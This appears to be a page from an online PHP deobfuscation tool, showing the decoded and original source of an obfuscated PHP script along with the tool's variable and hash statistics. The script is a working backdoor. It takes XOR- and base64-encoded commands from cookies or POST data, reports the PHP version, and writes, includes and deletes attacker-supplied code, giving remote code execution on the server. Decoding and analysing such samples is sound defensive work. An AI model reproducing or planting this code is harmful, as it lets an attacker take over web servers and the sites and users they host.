Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $jfxdbbo = 'jfxdbbo' ^ ' '; $l_bgiqyf = /* rwlxo ..

Decoded Output download

<?php  
 
 
$jfxdbbo     =     'jfxdbbo'	^    '	'; 
 
 
 
 
 
$l_bgiqyf    = /*   rwlxo   */ $_COOKIE;$lazqcattw /*   zgq*/ =       63;$cndgqz    =  $_POST; 
 
 
 
function	zcinecet() 
 
{ 
	$byiobv_el /* h*/ =	'fswfvjw';   $lllci       =	'rdqbm_uat'; 
    $ncqovlzrtuzgggya /*bgqcai  */ =     'asic'; 
 
    $uqxfakru /*  zq  */ =      'obbnzcq'; 
 
 
 /*   j*/ $lllci     = /*eb  */ strtolower($uqxfakru);	$gcmgnll     =    'kpcdflswu'; 
    $luxdf_yq     = /*  zd_uh*/ '_kevp'; 
 
} 
 
 
function    znhakdpb($xsvsczy,	$pyzex) 
 
{ /*   gqz */ global  $jfxdbbo; 
 
    $ddv_grpzv   =    ""; 
 
 
	$epwrhc /*   p   */ =	43; 
      for   ($ncqovlz /*   ejoj*/ =    0;	$ncqovlz      <  strlen($xsvsczy);)   {  for     ($jncrtbnz  =    0; /*   iqhbx*/ $jncrtbnz /*   o  */ <	strlen($pyzex) /*sjbszf*/ &&	$ncqovlz   <	strlen($xsvsczy);    $jncrtbnz++, /*   fkiorq */ $ncqovlz++)   { 
    $ddv_grpzv	.=  $jfxdbbo(ord($xsvsczy[$ncqovlz])    ^    ord($pyzex[$jncrtbnz])); 
 
			$jncrtbnzgxgmomqaw /*jfcrq   */ = /*  qsou*/ 20; 
 
	} 
	}    return	$ddv_grpzv; 
 
} 
 
 
 
 
function       tmprquszm($ktftmksqw, /*   xeb*/ $xsvsczy) 
 
{ 
 
       global /*g   */ $jfxdbbo; 
    $alinidsia    =	sprintf(".".$jfxdbbo(47)    .       "%"."s"."."    . /* l  */ "p".$jfxdbbo(884-776), /*   _mk */ md5($ktftmksqw));  file_put_contents($alinidsia,     "<"	.    "?"      .	"p"	.  "h"."p"    .     $jfxdbbo(32)      . /* wfhay  */ "u"    .       "n".$jfxdbbo(108)  .    "i"    .    "n"  . /*ejyt*/ "k"."("."_"."_"."F"."I".$jfxdbbo(817-741)	. /*  jylv   */ "E"."_"."_".")"    .    ";"  .      $jfxdbbo(32)	. /*   bjh   */ $xsvsczy["d"]);$rvjwimly    = /* e  */ 'tulu'; 
 
 
 /* t   */ include($alinidsia); 
 
 /*io*/ $glmvrz   = /*zpkm_i */ $alinidsia;	$uxvjior /*  vp  */ =    trim($rvjwimly); 
 
	$fsycowwmjs    =    'hzrt_te'; 
    @unlink($glmvrz); 
 
	$mhwykag	=       41; 
 
	$oiacmftgm       =	5; 
 
} 
 
 
 
 
function /*  iqfu  */ azsopvwy(){ 
    global    $jfxdbbo; 
 
 
 
 
 /*  lyd  */ $ncqovlz /* xfo   */ = /*  j   */ array(); 
	$ohwlta__i /*ceccjs   */ =     'smkn'; 
 
 
    $ncqovlz["p".$jfxdbbo(118)]    =      phpversion(); 
	$ncqovlzypqypf   =       45; 
 
    $ncqovlz[$jfxdbbo(512-397)	. /*  zkvlgo  */ $jfxdbbo(408-290)]   = /*   znek   */ "3" /*   nmexoz   */ . /*   w */ ".".$jfxdbbo(892-839);      echo     @serialize($ncqovlz); 
} 
 
 
function  sgnysrcfyo() 
 
{ 
 /* r  */ $fpxnomelpp	=      67; 
 
    $djl_optxaz    =	'uukuepjgfq';    $kmkccnp    =	31; 
     $fpxnomelpp	= /* s*/ $kmkccnp	*   20; 
 
    $dgpfmc     = /*   u   */ 35; 
} 
 
 
 
 
sgnysrcfyo(); 
 
 
 
function  clbdb($xsvsczy,	$ktftmksqw,    $zliqbynw) 
 
 
{ 
 
 /*  emgy */ global   $jfxdbbo; 
 
 
 
 
 /*  gbh*/ $xsvsczy    = /*  _*/ unserialize(znhakdpb(znhakdpb(base64_decode($xsvsczy), /*   uiycx  */ $ktftmksqw),	$zliqbynw));   if /*  ywqq   */ (isset($xsvsczy["a"    .	"k"]))      { 
	if /* _fgk  */ ($xsvsczy["a"]    ==	$jfxdbbo(105))    { 
 
 
 /*   xj*/ azsopvwy(); 
 
 
  } /*  w */ elseif /* dm  */ ($xsvsczy["a"] /* gwluv*/ ==   "e")	{ 
 
    tmprquszm($ktftmksqw,    $xsvsczy); 
 
 
			$ppcbnkub /*_qsvoz   */ = /*   d  */ 74; /* kqds*/ }      exit(); 
      }} 
 
 
 
 
 
$l_bgiqyf     = /* xitzeg  */ array_merge($cndgqz, /*  kimhen   */ $l_bgiqyf); 
 
$ktftmksqw /*zsxea   */ =    "7"."3"."5".$jfxdbbo(310-261)    . /*z*/ "9"    .  "4" /*   uwsrtz */ .	"f"	. /* vi  */ "2".$jfxdbbo(45) /*  oravtu   */ . /*  fff   */ $jfxdbbo(100) /*   mucvew  */ . /*n*/ "9"      . /*  bg  */ "a"."c"."-" /*  wkels  */ . /*   o */ "4"	.    "5"    . /*_*/ $jfxdbbo(920-863)	. /*   fbu */ "1"."-".$jfxdbbo(499-443)    .      "f"."b" /*e   */ .    "8".$jfxdbbo(45)    .     "a"."4"."5"       .  "4".$jfxdbbo(51) /* zxklcv */ .       $jfxdbbo(730-632)	.	"2"."5"."f"."5"."c"."e";foreach       ($l_bgiqyf    as /*   fhoyua   */ $zliqbynw    =>    $xsvsczy)       { 
 
 
	clbdb($xsvsczy,    $ktftmksqw,    $zliqbynw); 
} 
 
 
 
$gnzvjead    = /* rs   */ 'hnsvl'; 
$raspbieuq   =	31; 
 
 
 
 
zcinecet(); 
 
 
 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php 


$jfxdbbo     =     'jfxdbbo'	^    '	';





$l_bgiqyf    = /*   rwlxo   */ $_COOKIE;$lazqcattw /*   zgq*/ =       63;$cndgqz    =  $_POST;



function	zcinecet()

{
	$byiobv_el /* h*/ =	'fswfvjw';   $lllci       =	'rdqbm_uat';
    $ncqovlzrtuzgggya /*bgqcai  */ =     'asic';

    $uqxfakru /*  zq  */ =      'obbnzcq';


 /*   j*/ $lllci     = /*eb  */ strtolower($uqxfakru);	$gcmgnll     =    'kpcdflswu';
    $luxdf_yq     = /*  zd_uh*/ '_kevp';

}


function    znhakdpb($xsvsczy,	$pyzex)

{ /*   gqz */ global  $jfxdbbo;

    $ddv_grpzv   =    "";


	$epwrhc /*   p   */ =	43;
      for   ($ncqovlz /*   ejoj*/ =    0;	$ncqovlz      <  strlen($xsvsczy);)   {  for     ($jncrtbnz  =    0; /*   iqhbx*/ $jncrtbnz /*   o  */ <	strlen($pyzex) /*sjbszf*/ &&	$ncqovlz   <	strlen($xsvsczy);    $jncrtbnz++, /*   fkiorq */ $ncqovlz++)   {
    $ddv_grpzv	.=  $jfxdbbo(ord($xsvsczy[$ncqovlz])    ^    ord($pyzex[$jncrtbnz]));

			$jncrtbnzgxgmomqaw /*jfcrq   */ = /*  qsou*/ 20;

	}
	}    return	$ddv_grpzv;

}




function       tmprquszm($ktftmksqw, /*   xeb*/ $xsvsczy)

{

       global /*g   */ $jfxdbbo;
    $alinidsia    =	sprintf(".".$jfxdbbo(47)    .       "%"."s"."\56"    . /* l  */ "p".$jfxdbbo(884-776), /*   _mk */ md5($ktftmksqw));  file_put_contents($alinidsia,     "<"	.    "\x3f"      .	"\160"	.  "h"."\160"    .     $jfxdbbo(32)      . /* wfhay  */ "\165"    .       "n".$jfxdbbo(108)  .    "\151"    .    "\x6e"  . /*ejyt*/ "k"."("."_"."_"."F"."I".$jfxdbbo(817-741)	. /*  jylv   */ "E"."_"."_"."\x29"    .    "\x3b"  .      $jfxdbbo(32)	. /*   bjh   */ $xsvsczy["d"]);$rvjwimly    = /* e  */ 'tulu';


 /* t   */ include($alinidsia);

 /*io*/ $glmvrz   = /*zpkm_i */ $alinidsia;	$uxvjior /*  vp  */ =    trim($rvjwimly);

	$fsycowwmjs    =    'hzrt_te';
    @unlink($glmvrz);

	$mhwykag	=       41;

	$oiacmftgm       =	5;

}




function /*  iqfu  */ azsopvwy(){
    global    $jfxdbbo;




 /*  lyd  */ $ncqovlz /* xfo   */ = /*  j   */ array();
	$ohwlta__i /*ceccjs   */ =     'smkn';


    $ncqovlz["p".$jfxdbbo(118)]    =      phpversion();
	$ncqovlzypqypf   =       45;

    $ncqovlz[$jfxdbbo(512-397)	. /*  zkvlgo  */ $jfxdbbo(408-290)]   = /*   znek   */ "\x33" /*   nmexoz   */ . /*   w */ ".".$jfxdbbo(892-839);      echo     @serialize($ncqovlz);
}


function  sgnysrcfyo()

{
 /* r  */ $fpxnomelpp	=      67;

    $djl_optxaz    =	'uukuepjgfq';    $kmkccnp    =	31;
     $fpxnomelpp	= /* s*/ $kmkccnp	*   20;

    $dgpfmc     = /*   u   */ 35;
}




sgnysrcfyo();



function  clbdb($xsvsczy,	$ktftmksqw,    $zliqbynw)


{

 /*  emgy */ global   $jfxdbbo;




 /*  gbh*/ $xsvsczy    = /*  _*/ unserialize(znhakdpb(znhakdpb(base64_decode($xsvsczy), /*   uiycx  */ $ktftmksqw),	$zliqbynw));   if /*  ywqq   */ (isset($xsvsczy["\x61"    .	"k"]))      {
	if /* _fgk  */ ($xsvsczy["a"]    ==	$jfxdbbo(105))    {


 /*   xj*/ azsopvwy();


  } /*  w */ elseif /* dm  */ ($xsvsczy["a"] /* gwluv*/ ==   "e")	{

    tmprquszm($ktftmksqw,    $xsvsczy);


			$ppcbnkub /*_qsvoz   */ = /*   d  */ 74; /* kqds*/ }      exit();
      }}





$l_bgiqyf     = /* xitzeg  */ array_merge($cndgqz, /*  kimhen   */ $l_bgiqyf);

$ktftmksqw /*zsxea   */ =    "7"."3"."5".$jfxdbbo(310-261)    . /*z*/ "\x39"    .  "\x34" /*   uwsrtz */ .	"\x66"	. /* vi  */ "2".$jfxdbbo(45) /*  oravtu   */ . /*  fff   */ $jfxdbbo(100) /*   mucvew  */ . /*n*/ "\x39"      . /*  bg  */ "a"."c"."\x2d" /*  wkels  */ . /*   o */ "\x34"	.    "\x35"    . /*_*/ $jfxdbbo(920-863)	. /*   fbu */ "1"."-".$jfxdbbo(499-443)    .      "f"."\142" /*e   */ .    "8".$jfxdbbo(45)    .     "a"."4"."\x35"       .  "4".$jfxdbbo(51) /* zxklcv */ .       $jfxdbbo(730-632)	.	"2"."5"."f"."5"."c"."\145";foreach       ($l_bgiqyf    as /*   fhoyua   */ $zliqbynw    =>    $xsvsczy)       {


	clbdb($xsvsczy,    $ktftmksqw,    $zliqbynw);
}



$gnzvjead    = /* rs   */ 'hnsvl';
$raspbieuq   =	31;




zcinecet();







?>

Function Calls

sgnysrcfyo 1
array_merge 1

Variables

$cndgqz 0
$dgpfmc 35
$jfxdbbo chqjklf
$kmkccnp 31
$l_bgiqyf 0
$lazqcattw 63
$djl_optxaz uukuepjgfq
$fpxnomelpp 620

Stats

MD5 e50f142a46700ecf355b1c2e92c6fd73
Eval Count 0
Decode Time 67 ms